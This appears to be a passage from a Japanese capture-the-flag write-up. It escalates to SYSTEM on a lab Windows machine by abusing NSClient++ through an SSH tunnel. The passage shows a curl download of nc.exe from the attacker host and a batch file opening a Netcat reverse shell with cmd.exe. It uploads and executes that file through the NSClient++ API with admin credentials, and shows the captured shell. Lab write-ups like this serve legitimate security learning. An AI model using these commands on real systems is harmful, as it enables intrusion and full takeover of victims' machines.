攻撃マシンにて、以下のSSHコマンドを実行して、標的マシンとSSHトンネル (SSH Local Port Forwarding)を張る。

ssh -N -L 127.0.0.1:8443:127.0.0.1:8443 nadine@$RHOST

すると、攻撃マシンの127.0.0.1:8443宛の通信は標的マシン (10.129.227.77)の127.0.0.1:8443へ転送される。

上記のSSHトンネルを張ったことにより、NSClient++の管理ページにログインできた。

で、こちらの手順を参考に、管理ページからリバースシェルを実行するためのスケジュールを登録しようとしたのだが、どのフィールドに何を書けば良いのかよく分からなくて断念した。

結局、NSClient++のAPIを利用することにした。

まず、標的マシンにSSH接続して、Netcatを仕込む。

curl http://10.10.16.174/nc.exe -o "C:\users\nadine\nc.exe"

攻撃マシンにて、Netcatリバースシェルを呼び出すためのバッチファイルを用意する。

└─$ cat evil.bat    
@echo off
c:\users\nadine\nc.exe 10.10.16.174 443 -e cmd.exe

APIを利用して、バッチファイルを管理者としてアップロードする。(参考

curl -s -k -u admin:ew2x6SsGTxjRwXOT -X PUT https://127.0.0.1:8443/api/v1/scripts/ext/scripts/evil.bat --data-binary @evil.bat

バッチファイルのアップロードに成功。

└─$ curl -s -k -u admin:ew2x6SsGTxjRwXOT -X PUT https://127.0.0.1:8443/api/v1/scripts/ext/scripts/evil.bat --data-binary @evil.bat
Added evil as scripts\evil.bat   

アップロードしたバッチファイルを管理者として実行。(参考

curl -s -k -u admin:ew2x6SsGTxjRwXOT "https://127.0.0.1:8443/api/v1/queries/evil/commands/execute?time=1m"

エラーメッセージが表示されたが、攻撃には差し支えない。

└─$ curl -s -k -u admin:ew2x6SsGTxjRwXOT "https://127.0.0.1:8443/api/v1/queries/evil/commands/execute?time=1m"
{"command":"evil","lines":[{"message":"Command evil didn't terminate within the timeout period 60s","perf":{}}],"result":3}      

無事、標的マシンとの高権限シェルが成立した。

└─$ rlwrap nc -nvlp 443
listening on [any] 443 ...
connect to [10.10.16.174] from (UNKNOWN) [10.129.227.77] 49703
Microsoft Windows [Version 10.0.17763.864]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Program Files\NSClient++>whoami
whoami
nt authority\system

rootユーザーフラグc:\users\administrator\desktop\root.txtを発見。

C:\Program Files\NSClient++>dir c:\users\administrator\desktop
dir c:\users\administrator\desktop
 Volume in drive C has no label.
 Volume Serial Number is 20C1-47A1

 Directory of c:\users\administrator\desktop

02/28/2022  06:56 PM    <DIR>          .
02/28/2022  06:56 PM    <DIR>          ..
12/31/2024  07:18 AM                34 root.txt
               1 File(s)             34 bytes
               2 Dir(s)   6,057,381,888 bytes free

Leave a Reply

Your email address will not be published. Required fields are marked *


The reCAPTCHA verification period has expired. Please reload the page.